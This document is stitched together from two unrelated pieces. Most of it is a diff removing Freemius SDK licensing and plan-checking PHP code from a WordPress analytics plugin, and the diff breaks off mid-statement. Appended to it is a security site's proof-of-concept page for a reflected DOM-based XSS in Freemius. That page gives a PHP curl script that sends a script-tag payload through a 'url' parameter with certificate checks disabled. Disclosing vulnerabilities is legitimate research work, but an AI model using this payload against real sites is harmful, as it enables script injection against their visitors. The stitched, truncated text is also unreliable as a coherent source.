-		#----------------------------------------------------------------------------------
-		#region Permissions
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * Check if plugin must be WordPress.org compliant.
-		 *
-		 * @since 1.0.7
-		 *
-		 * @return bool
-		 */
-		abstract function is_org_repo_compliant();
-
-		/**
-		 * Check if plugin is allowed to install executable files.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.5
-		 *
-		 * @return bool
-		 */
-		function is_allowed_to_install() {
-			return ( $this->is_premium() || ! $this->is_org_repo_compliant() );
-		}
-
-		#endregion
-
-		/**
-		 * Check if user in trial or in free plan (not paying).
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.4
-		 *
-		 * @return bool
-		 */
-		function is_not_paying() {
-			return ( $this->is_trial() || $this->is_free_plan() );
-		}
-
-		/**
-		 * Check if the user has an activated and valid paid license on current plugin's install.
-		 *
-		 * @since 1.0.9
-		 *
-		 * @return bool
-		 */
-		abstract function is_paying();
-
-		/**
-		 * Check if the user is paying or in trial.
-		 *
-		 * @since 1.0.9
-		 *
-		 * @return bool
-		 */
-		function is_paying_or_trial() {
-			return ( $this->is_paying() || $this->is_trial() );
-		}
-
-		/**
-		 * Check if user in a trial or have feature enabled license.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.1.7
-		 *
-		 * @return bool
-		 */
-		abstract function can_use_premium_code();
-
-		#----------------------------------------------------------------------------------
-		#region Premium Only
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * All logic wrapped in methods with "__premium_only()" suffix will be only
-		 * included in the premium code.
-		 *
-		 * Example:
-		 *      if ( freemius()->is__premium_only() ) {
-		 *          ...
-		 *      }
-		 */
-
-		/**
-		 * Returns true when running premium plugin code.
-		 *
-		 * @since 1.0.9
-		 *
-		 * @return bool
-		 */
-		function is__premium_only() {
-			return $this->is_premium();
-		}
-
-		/**
-		 * Check if the user has an activated and valid paid license on current plugin's install.
-		 *
-		 * @since 1.0.9
-		 *
-		 * @return bool
-		 *
-		 */
-		function is_paying__premium_only() {
-			return ( $this->is__premium_only() && $this->is_paying() );
-		}
-
-		/**
-		 * All code wrapped in this statement will be only included in the premium code.
-		 *
-		 * @since  1.0.9
-		 *
-		 * @param string $plan  Plan name.
-		 * @param bool   $exact If true, looks for exact plan. If false, also check "higher" plans.
-		 *
-		 * @return bool
-		 */
-		function is_plan__premium_only( $plan, $exact = false ) {
-			return ( $this->is_premium() && $this->is_plan( $plan, $exact ) );
-		}
-
-		/**
-		 * Check if plan matches active license' plan or active trial license' plan.
-		 *
-		 * All code wrapped in this statement will be only included in the premium code.
-		 *
-		 * @since  1.0.9
-		 *
-		 * @param string $plan  Plan name.
-		 * @param bool   $exact If true, looks for exact plan. If false, also check "higher" plans.
-		 *
-		 * @return bool
-		 */
-		function is_plan_or_trial__premium_only( $plan, $exact = false ) {
-			return ( $this->is_premium() && $this->is_plan_or_trial( $plan, $exact ) );
-		}
-
-		/**
-		 * Check if the user is paying or in trial.
-		 *
-		 * All code wrapped in this statement will be only included in the premium code.
-		 *
-		 * @since 1.0.9
-		 *
-		 * @return bool
-		 */
-		function is_paying_or_trial__premium_only() {
-			return $this->is_premium() && $this->is_paying_or_trial();
-		}
-
-		/**
-		 * Check if the user has an activated and valid paid license on current plugin's install.
-		 *
-		 * @since      1.0.4
-		 *
-		 * @return bool
-		 *
-		 * @deprecated Method name is confusing since it's not clear from the name the code will be removed.
-		 * @using      Alias to is_paying__premium_only()
-		 */
-		function is_paying__fs__() {
-			return $this->is_paying__premium_only();
-		}
-
-		/**
-		 * Check if user in a trial or have feature enabled license.
-		 *
-		 * All code wrapped in this statement will be only included in the premium code.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.1.9
-		 *
-		 * @return bool
-		 */
-		function can_use_premium_code__premium_only() {
-			return $this->is_premium() && $this->can_use_premium_code();
-		}
-
-		#endregion
-
-		#----------------------------------------------------------------------------------
-		#region Trial
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * Check if the user in a trial.
-		 *
-		 * @since 1.0.3
-		 *
-		 * @return bool
-		 */
-		abstract function is_trial();
-
-		/**
-		 * Check if trial already utilized.
-		 *
-		 * @since 1.0.9
-		 *
-		 * @return bool
-		 */
-		abstract function is_trial_utilized();
-
-		#endregion
-
-		#----------------------------------------------------------------------------------
-		#region Plans
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * Check if the user is on the free plan of the product.
-		 *
-		 * @since 1.0.4
-		 *
-		 * @return bool
-		 */
-		abstract function is_free_plan();
-
-		/**
-		 * @since  1.0.2
-		 *
-		 * @param string $plan  Plan name.
-		 * @param bool   $exact If true, looks for exact plan. If false, also check "higher" plans.
-		 *
-		 * @return bool
-		 */
-		abstract function is_plan( $plan, $exact = false );
-
-		/**
-		 * Check if plan based on trial. If not in trial mode, should return false.
-		 *
-		 * @since  1.0.9
-		 *
-		 * @param string $plan  Plan name.
-		 * @param bool   $exact If true, looks for exact plan. If false, also check "higher" plans.
-		 *
-		 * @return bool
-		 */
-		abstract function is_trial_plan( $plan, $exact = false );
-
-		/**
-		 * Check if plan matches active license' plan or active trial license' plan.
-		 *
-		 * @since  1.0.9
-		 *
-		 * @param string $plan  Plan name.
-		 * @param bool   $exact If true, looks for exact plan. If false, also check "higher" plans.
-		 *
-		 * @return bool
-		 */
-		function is_plan_or_trial( $plan, $exact = false ) {
-			return $this->is_plan( $plan, $exact ) ||
-			       $this->is_trial_plan( $plan, $exact );
-		}
-
-		/**
-		 * Check if plugin has any paid plans.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.7
-		 *
-		 * @return bool
-		 */
-		abstract function has_paid_plan();
-
-		/**
-		 * Check if plugin has any free plan, or is it premium only.
-		 *
-		 * Note: If no plans configured, assume plugin is free.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.7
-		 *
-		 * @return bool
-		 */
-		abstract function has_free_plan();
-
-		/**
-		 * Check if plugin is premium only (no free plans).
-		 *
-		 * NOTE: is__premium_only() is very different method, don't get confused.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.1.9
-		 *
-		 * @return bool
-		 */
-		abstract function is_only_premium();
-
-		/**
-		 * Check if module has a premium code version.
-		 *
-		 * Serviceware module might be freemium without any
-		 * premium code version, where the paid features
-		 * are all part of the service.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.2.1.6
-		 *
-		 * @return bool
-		 */
-		abstract function has_premium_version();
-
-		/**
-		 * Check if module has any release on Freemius,
-		 * or all plugin's code is on WordPress.org (Serviceware).
-		 *
-		 * @return bool
-		 */
-		function has_release_on_freemius() {
-			return ! $this->is_org_repo_compliant() ||
-			       $this->has_premium_version();
-		}
-
-		/**
-		 * Checks if it's a freemium plugin.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.1.9
-		 *
-		 * @return bool
-		 */
-		function is_freemium() {
-			return $this->has_paid_plan() &&
-			       $this->has_free_plan();
-		}
-
-		/**
-		 * Check if module has only one plan.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.2.1.7
-		 *
-		 * @return bool
-		 */
-		abstract function is_single_plan();
-
-		#endregion
-
-		/**
-		 * Check if running payments in sandbox mode.
-		 *
-		 * @since 1.0.4
-		 *
-		 * @return bool
-		 */
-		abstract function is_payments_sandbox();
-
-		/**
-		 * Check if running test vs. live plugin.
-		 *
-		 * @since 1.0.5
-		 *
-		 * @return bool
-		 */
-		abstract function is_live();
-
-		/**
-		 * Check if running premium plugin code.
-		 *
-		 * @since 1.0.5
-		 *
-		 * @return bool
-		 */
-		abstract function is_premium();
-
-		/**
-		 * Get upgrade URL.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.2
-		 *
-		 * @param string $period Billing cycle.
-		 *
-		 * @return string
-		 */
-		abstract function get_upgrade_url( $period = WP_FS__PERIOD_ANNUALLY );
-
-		/**
-		 * Check if Freemius was first added in a plugin update.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.1.5
-		 *
-		 * @return bool
-		 */
-		function is_plugin_update() {
-			return ! $this->is_plugin_new_install();
-		}
-
-		/**
-		 * Check if Freemius was part of the plugin when the user installed it first.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.1.5
-		 *
-		 * @return bool
-		 */
-		abstract function is_plugin_new_install();
-
-		#----------------------------------------------------------------------------------
-		#region Marketing
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * Check if current user purchased any other plugins before.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.9
-		 *
-		 * @return bool
-		 */
-		abstract function has_purchased_before();
-
-		/**
-		 * Check if current user classified as an agency.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.9
-		 *
-		 * @return bool
-		 */
-		abstract function is_agency();
-
-		/**
-		 * Check if current user classified as a developer.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.9
-		 *
-		 * @return bool
-		 */
-		abstract function is_developer();
-
-		/**
-		 * Check if current user classified as a business.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.9
-		 *
-		 * @return bool
-		 */
-		abstract function is_business();
-
-		#endregion
-	}
 No newline at end of file
--- a/advance-wc-analytics/freemius/includes/class-freemius.php
+++ b/advance-wc-analytics/freemius/includes/class-freemius.php
@@ -1,26267 +0,0 @@
-<?php
-    /**
-     * @package     Freemius
-     * @copyright   Copyright (c) 2015, Freemius, Inc.
-     * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-     * @since       1.0.3
-     */
-    if ( ! defined( 'ABSPATH' ) ) {
-        exit;
-    }
-
-    // "final class"
-    class Freemius extends Freemius_Abstract {
-        /**
-         * SDK Version
-         *
-         * @var string
-         */
-        public $version = WP_FS__SDK_VERSION;
-
-        #region Plugin Info
-
-        /**
-         * @since 1.0.1
-         *
-         * @var string
-         */
-        private $_slug;
-
-        /**
-         * @since 1.0.0
-         *
-         * @var string
-         */
-        private $_plugin_basename;
-        /**
-         * @since 2.2.1
-         *
-         * @var string
-         */
-        private $_premium_plugin_basename;
-        /**
-         * @since 1.0.0
-         *
-         * @var string
-         */
-        private $_free_plugin_basename;
-        /**
-         * @since 1.0.0
-         *
-         * @var string
-         */
-        private $_plugin_dir_path;
-        /**
-         * @since 1.0.0
-         *
-         * @var string
-         */
-        private $_plugin_dir_name;
-        /**
-         * @since 1.0.0
-         *
-         * @var string
-         */
-        private $_plugin_main_file_path;
-        /**
-         * @var string[]
-         */
-        private $_plugin_data;
-        /**
-         * @since 1.0.9
-         *
-         * @var string
-         */
-        private $_plugin_name;
-        /**
-         * @since 1.2.2
-         *
-         * @var string
-         */
-        private $_module_type;
-
-        #endregion Plugin Info
-
-        /**
-         * @since 1.0.9
-         *
-         * @var bool If false, don't turn Freemius on.
-         */
-        private $_is_on;
-
-        /**
-         * @since 1.1.3
-         *
-         * @var bool If false, don't turn Freemius on.
-         */
-        private $_is_anonymous;
-
-        /**
-         * @since 1.0.9
-         * @var bool If false, issues with connectivity to Freemius API.
-         */
-        private $_has_api_connection;
-
-        /**
-         * @since 1.0.9
-         * @since 2.0.0 Default to true since we need the property during the instance construction, prior to the dynamic_init() execution.
-         * @var bool Hints the SDK if plugin can support anonymous mode (if skip connect is visible).
-         */
-        private $_enable_anonymous = true;
-
-        /**
-         * @since 2.9.1
-         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
-         */
-        private $_premium_plugin_basename_from_parallel_activation;
-
-        /**
-         * @since 1.1.7.5
-         * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
-         */
-        private $_anonymous_mode;
-
-        /**
-         * @since 1.1.9
-         * @var bool Hints the SDK if plugin have any free plans.
-         */
-        private $_is_premium_only;
-
-        /**
-         * @since 1.2.1.6
-         * @var bool Hints the SDK if plugin have premium code version at all.
-         */
-        private $_has_premium_version;
-
-        /**
-         * @since 1.2.1.6
-         * @var bool Hints the SDK if plugin should ignore pending mode by simulating a skip.
-         */
-        private $_ignore_pending_mode;
-
-        /**
-         * @since 1.0.8
-         * @var bool Hints the SDK if the plugin has any paid plans.
-         */
-        private $_has_paid_plans;
-
-        /**
-         * @since 1.2.1.5
-         * @var int Hints the SDK if the plugin offers a trial period. If negative, no trial, if zero - has a trial but
-         *      without a specified period, if positive - the number of trial days.
-         */
-        private $_trial_days = - 1;
-
-        /**
-         * @since 1.2.1.5
-         * @var bool Hints the SDK if the trial requires a payment method or not.
-         */
-        private $_is_trial_require_payment = false;
-
-        /**
-         * @since 1.0.7
-         * @var bool Hints the SDK if the plugin is WordPress.org compliant.
-         */
-        private $_is_org_compliant;
-
-        /**
-         * @since 1.0.7
-         * @var bool Hints the SDK if the plugin is has add-ons.
-         */
-        private $_has_addons;
-
-        /**
-         * @since 2.4.5
-         * @var string Navigation type: 'menu' or 'tabs'.
-         */
-        private $_navigation;
-
-        const NAVIGATION_MENU = 'menu';
-        const NAVIGATION_TABS = 'tabs';
-
-        /**
-         * @since 1.1.6
-         * @var string[]bool.
-         */
-        private $_permissions;
-
-        /**
-         * @var FS_Storage
-         */
-        private $_storage;
-
-        /**
-         * @since 1.2.2.7
-         * @var FS_Cache_Manager
-         */
-        private $_cache;
-
-        /**
-         * @since 1.0.0
-         *
-         * @var FS_Logger
-         */
-        private $_logger;
-        /**
-         * @since 1.0.4
-         *
-         * @var FS_Plugin
-         */
-        private $_plugin = false;
-        /**
-         * @since 1.0.4
-         *
-         * @var FS_Plugin|false
-         */
-        private $_parent_plugin = false;
-        /**
-         * @since 1.1.1
-         *
-         * @var Freemius
-         */
-        private $_parent = false;
-        /**
-         * @since 1.0.1
-         *
-         * @var FS_User
-         */
-        private $_user = false;
-        /**
-         * @since 1.0.1
-         *
-         * @var FS_Site
-         */
-        private $_site = false;
-        /**
-         * @since 1.0.1
-         *
-         * @var FS_Plugin_License
-         */
-        private $_license;
-        /**
-         * @since 1.0.2
-         *
-         * @var FS_Plugin_Plan[]
-         */
-        private $_plans = false;
-        /**
-         * @var FS_Plugin_License[]
-         * @since 1.0.5
-         */
-        private $_licenses = false;
-
-        /**
-         * @since 1.0.1
-         *
-         * @var FS_Admin_Menu_Manager
-         */
-        private $_menu;
-
-        /**
-         * @var FS_Admin_Notices
-         */
-        private $_admin_notices;
-
-        /**
-         * @since 1.1.6
-         *
-         * @var FS_Admin_Notices
-         */
-        private static $_global_admin_notices;
-
-        /**
-         * @var FS_Logger
-         * @since 1.0.0
-         */
-        private static $_static_logger;
-
-        /**
-         * @var FS_Options
-         * @since 1.0.2
-         */
-        private static $_accounts;
-
-        /**
-         * @since 1.2.2
-         *
-         * @var number
-         */
-        private $_module_id;
-
-        /**
-         * @var Freemius[]
-         */
-        private static $_instances = array();
-
-        /**
-         * @since  1.2.3
-         *
-         * @var FS_Affiliate
-         */
-        private $affiliate = null;
-
-        /**
-         * @since  1.2.3
-         *
-         * @var FS_AffiliateTerms
-         */
-        private $plugin_affiliate_terms = null;
-
-        /**
-         * @since  1.2.3
-         *
-         * @var FS_AffiliateTerms
-         */
-        private $custom_affiliate_terms = null;
-
-        /**
-         * @since  2.0.0
-         *
-         * @var bool
-         */
-        private $_is_multisite_integrated;
-
-        /**
-         * @since  2.0.0
-         *
-         * @var bool True if the current request is for a network admin screen and the plugin is network active.
-         */
-        private $_is_network_active;
-
-        /**
-         * @since  2.0.0
-         *
-         * @var int|null The original blog ID the plugin was loaded with.
-         */
-        private $_blog_id = null;
-
-        /**
-         * @since  2.0.0
-         *
-         * @var int|null The current execution context. When true, run on network context. When int, run on the specified blog context.
-         */
-        private $_context_is_network_or_blog_id = null;
-
-        /**
-         * @since  2.0.0
-         *
-         * @var string
-         */
-        private $_dynamically_added_top_level_page_hook_name = '';
-
-        /**
-         * @author Leo Fajardo (@leorw)
-         * @since 2.3.1
-         *
-         * @var bool
-         */
-        private $is_whitelabeled;
-
-        /**
-         * @author Leo Fajardo (@leorw)
-         * @since 2.4.0
-         *
-         * @var bool
-         */
-        private $_is_bundle_license_auto_activation_enabled = false;
-
-        #region Uninstall Reasons IDs
-
-        const REASON_NO_LONGER_NEEDED = 1;
-        const REASON_FOUND_A_BETTER_PLUGIN = 2;
-        const REASON_NEEDED_FOR_A_SHORT_PERIOD = 3;
-        const REASON_BROKE_MY_SITE = 4;
-        const REASON_SUDDENLY_STOPPED_WORKING = 5;
-        const REASON_CANT_PAY_ANYMORE = 6;
-        const REASON_OTHER = 7;
-        const REASON_DIDNT_WORK = 8;
-        const REASON_DONT_LIKE_TO_SHARE_MY_INFORMATION = 9;
-        const REASON_COULDNT_MAKE_IT_WORK = 10;
-        const REASON_GREAT_BUT_NEED_SPECIFIC_FEATURE = 11;
-        const REASON_NOT_WORKING = 12;
-        const REASON_NOT_WHAT_I_WAS_LOOKING_FOR = 13;
-        const REASON_DIDNT_WORK_AS_EXPECTED = 14;
-        const REASON_TEMPORARY_DEACTIVATION = 15;
-
-        #endregion
-
-        /**
-         * @author Leo Fajardo (@leorw)
-         * @since 2.4.2
-         *
-         * @var string|null
-         */
-        private $_pricing_js_path = null;
-
-        const VERSION_MAX_CHARS = 16;
-        const LANGUAGE_MAX_CHARS = 8;
-
-        /* Ctor
-------------------------------------------------------------------------------------------------------------------*/
-
-        /**
-         * Main singleton instance.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.0.0
-         *
-         * @param number      $module_id
-         * @param string|bool $slug
-         * @param bool        $is_init Since 1.2.1 Is initiation sequence.
-         */
-        private function __construct( $module_id, $slug = false, $is_init = false ) {
-            $main_file = false;
-
-            if ( $is_init && is_numeric( $module_id ) && is_string( $slug ) ) {
-                $main_file = $this->store_id_slug_type_path_map( $module_id, $slug );
-            }
-
-            $this->_module_id   = $module_id;
-            $this->_slug        = $this->get_slug();
-            $this->_module_type = $this->get_module_type();
-
-            $this->_blog_id = is_multisite() ? get_current_blog_id() : null;
-
-            $this->_storage = FS_Storage::instance( $this->_module_type, $this->_slug );
-
-            // If not set or 24 hours have already passed from the last time it's set, set the last load timestamp to the current time.
-            if (
-                ! isset( $this->_storage->last_load_timestamp ) ||
-                $this->_storage->last_load_timestamp < ( time() - ( WP_FS__TIME_24_HOURS_IN_SEC ) )
-            ) {
-                $this->_storage->last_load_timestamp = time();
-            }
-
-            $this->_cache = FS_Cache_Manager::get_manager( WP_FS___OPTION_PREFIX . "cache_{$module_id}" );
-
-            $this->_logger = FS_Logger::get_logger( WP_FS__SLUG . '_' . $this->get_unique_affix(), WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK );
-
-            $this->_plugin_main_file_path = $this->_find_caller_plugin_file( $is_init, $main_file );
-            $this->_plugin_dir_path       = plugin_dir_path( $this->_plugin_main_file_path );
-            $this->_plugin_basename       = $this->get_plugin_basename();
-            $this->_free_plugin_basename  = str_replace( '-premium/', '/', $this->_plugin_basename );
-
-            $this->_is_multisite_integrated = (
-                defined( "WP_FS__PRODUCT_{$module_id}_MULTISITE" ) &&
-                ( true === constant( "WP_FS__PRODUCT_{$module_id}_MULTISITE" ) )
-            );
-
-            $this->_is_network_active = (
-                is_multisite() &&
-                $this->_is_multisite_integrated &&
-                // Themes are always network activated, but the ACTUAL activation is per site.
-                $this->is_plugin() &&
-                (
-                    is_plugin_active_for_network( $this->_plugin_basename ) ||
-                    // Plugin network level activation or uninstall.
-                    ( fs_is_network_admin() && is_plugin_inactive( $this->_plugin_basename ) )
-                )
-            );
-
-            $this->_storage->set_network_active(
-                $this->_is_network_active,
-                $this->is_delegated_connection()
-            );
-
-            if ( ! isset( $this->_storage->is_network_activated ) ) {
-                $this->_storage->is_network_activated = $this->_is_network_active;
-            }
-
-            if ( $this->_storage->is_network_activated != $this->_is_network_active ) {
-                // Update last activation level.
-                $this->_storage->is_network_activated = $this->_is_network_active;
-
-                $this->maybe_adjust_storage();
-            }
-
-            #region Migration
-
-            if ( is_multisite() ) {
-                /**
-                 * If the install_timestamp exists on the site level but doesn't exist on the
-                 * network level storage, it means that we need to process the storage with migration.
-                 *
-                 * The code in this `if` scope will only be executed once and only for the first site that will execute it because once we migrate the storage data, install_timestamp will be already set in the network level storage.
-                 *
-                 * @author Vova Feldman (@svovaf)
-                 * @since  2.0.0
-                 */
-                if ( false === $this->_storage->get( 'install_timestamp', false, true ) &&
-                     false !== $this->_storage->get( 'install_timestamp', false, false )
-                ) {
-                    // Initiate storage migration.
-                    $this->_storage->migrate_to_network();
-
-                    // Migrate module cache to network level storage.
-                    $this->_cache->migrate_to_network();
-                }
-            }
-
-            #endregion
-
-            $base_name_split        = explode( '/', $this->_plugin_basename );
-            $this->_plugin_dir_name = $base_name_split[0];
-
-            if ( $this->_logger->is_on() ) {
-                $this->_logger->info( 'plugin_main_file_path = ' . $this->_plugin_main_file_path );
-                $this->_logger->info( 'plugin_dir_path = ' . $this->_plugin_dir_path );
-                $this->_logger->info( 'plugin_basename = ' . $this->_plugin_basename );
-                $this->_logger->info( 'free_plugin_basename = ' . $this->_free_plugin_basename );
-                $this->_logger->info( 'plugin_dir_name = ' . $this->_plugin_dir_name );
-            }
-
-            // Remember link between file to slug.
-            $this->store_file_slug_map();
-
-            // Store plugin's initial install timestamp.
-            if ( ! isset( $this->_storage->install_timestamp ) ) {
-                $this->_storage->install_timestamp = WP_FS__SCRIPT_START_TIME;
-            }
-
-            if ( ! is_object( $this->_plugin ) ) {
-                $this->_plugin = FS_Plugin_Manager::instance( $this->_module_id )->get();
-            }
-
-            $this->_admin_notices = FS_Admin_Notices::instance(
-                $this->_slug . ( $this->is_theme() ? ':theme' : '' ),
-                /**
-                 * Ensure that the admin notice will always have a title by using the stored plugin title if available and
-                 * retrieving the title via the "get_plugin_name" method if there is no stored plugin title available.
-                 *
-                 * @author Leo Fajardo (@leorw)
-                 * @since  1.2.2
-                 */
-                ( is_object( $this->_plugin ) && isset( $this->_plugin->title ) ?
-                    $this->_plugin->title :
-                    $this->get_plugin_name()
-                ),
-                $this->get_unique_affix()
-            );
-
-            if ( 'true' === fs_request_get( 'fs_clear_api_cache' ) ||
-                 fs_request_is_action( 'restart_freemius' )
-            ) {
-                FS_Api::clear_cache();
-                $this->_cache->clear();
-            }
-
-            $this->register_constructor_hooks();
-
-            /**
-             * Starting from version 2.0.0, `FS_Site` entities no longer have the `plan` property and have `plan_id`
-             * instead. This should be called before calling `_load_account()`, otherwise, `$this->_site` will not be
-             * loaded in `_load_account` for versions of SDK starting from 2.0.0.
-             *
-             * @author Leo Fajardo (@leorw)
-             */
-            self::migrate_install_plan_to_plan_id( $this->_storage );
-
-            $this->_load_account();
-
-            $this->_version_updates_handler();
-        }
-
-        /**
-         * @author Leo Fajardo (@leorw)
-         * @since 2.3.0
-         */
-        private function maybe_adjust_storage() {
-            $install_timestamp = null;
-            $prev_is_premium   = null;
-
-            $options_to_update = array();
-
-            $is_network_admin = fs_is_network_admin();
-
-            $network_install_timestamp = $this->_storage->get( 'install_timestamp', null, true );
-
-            if ( ! $is_network_admin ) {
-                if ( is_null( $network_install_timestamp ) ) {
-                    // Plugin was not network-activated before.
-                    return;
-                }
-
-                if ( is_null( $this->_storage->get( 'install_timestamp', null, false ) ) ) {
-                    // Set the `install_timestamp` only if it's not yet set.
-                    $install_timestamp = $network_install_timestamp;
-                }
-
-                $prev_is_premium = $this->_storage->get( 'prev_is_premium', null, true );
-            } else {
-                $current_wp_user   = self::_get_current_wp_user();
-                $current_fs_user   = self::_get_user_by_email( $current_wp_user->user_email );
-                $network_user_info = array();
-
-                $skips_count = 0;
-
-                $sites       = self::get_sites();
-                $sites_count = count( $sites );
-
-                $blog_id_2_install_map = array();
-
-                $is_first_non_ignored_blog = true;
-
-                foreach ( $sites as $site ) {
-                    $blog_id = self::get_site_blog_id( $site );
-
-                    $blog_install_timestamp = $this->_storage->get( 'install_timestamp', null, $blog_id );
-
-                    if ( is_null( $blog_install_timestamp ) ) {
-                        // Plugin has not been installed on this blog.
-                        continue;
-                    }
-
-                    $is_earlier_install = (
-                        ! is_null( $install_timestamp ) &&
-                        $blog_install_timestamp < $install_timestamp
-                    );
-
-                    $install = $this->get_install_by_blog_id( $blog_id );
-
-                    $update_network_user_info = false;
-
-                    if ( ! is_object( $install ) ) {
-                        if ( ! $this->_storage->get( 'is_anonymous', false, $blog_id ) ) {
-                            // The opt-in decision (whether to skip or opt in) is yet to be made.
-                            continue;
-                        }
-
-                        $skips_count ++;
-                    } else {
-                        $blog_id_2_install_map[ $blog_id ] = $install;
-
-                        if ( empty( $network_user_info ) ) {
-                            // Set the network user info for the 1st time. Choose any user information whether or not it is for the current WP user.
-                            $update_network_user_info = true;
-                        }
-
-                        if ( ! $update_network_user_info &&
-                             is_object( $current_fs_user ) &&
-                             $network_user_info['user_id'] != $current_fs_user->id &&
-                             $install->user_id == $current_fs_user->id
-       

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

$target_url = 'https://example.com/wp-content/plugins/vulnerable-plugin/vendor/freemius/assets/js/index.php'; // Adjust to actual vulnerable endpoint

$payload = '"><script>alert("XSS")</script>';
$exploit_url = $target_url . '?url=' . urlencode($payload);

echo "[+] Sending XSS payload to target URL...n";
echo "[+] Exploit URL: $exploit_urln";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "[+] Request succeeded. Check if the payload executed in the victim's browser.n";
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
}

echo "[+] PoC complete. If the page reflects the payload without sanitization, the vulnerability exists.n";

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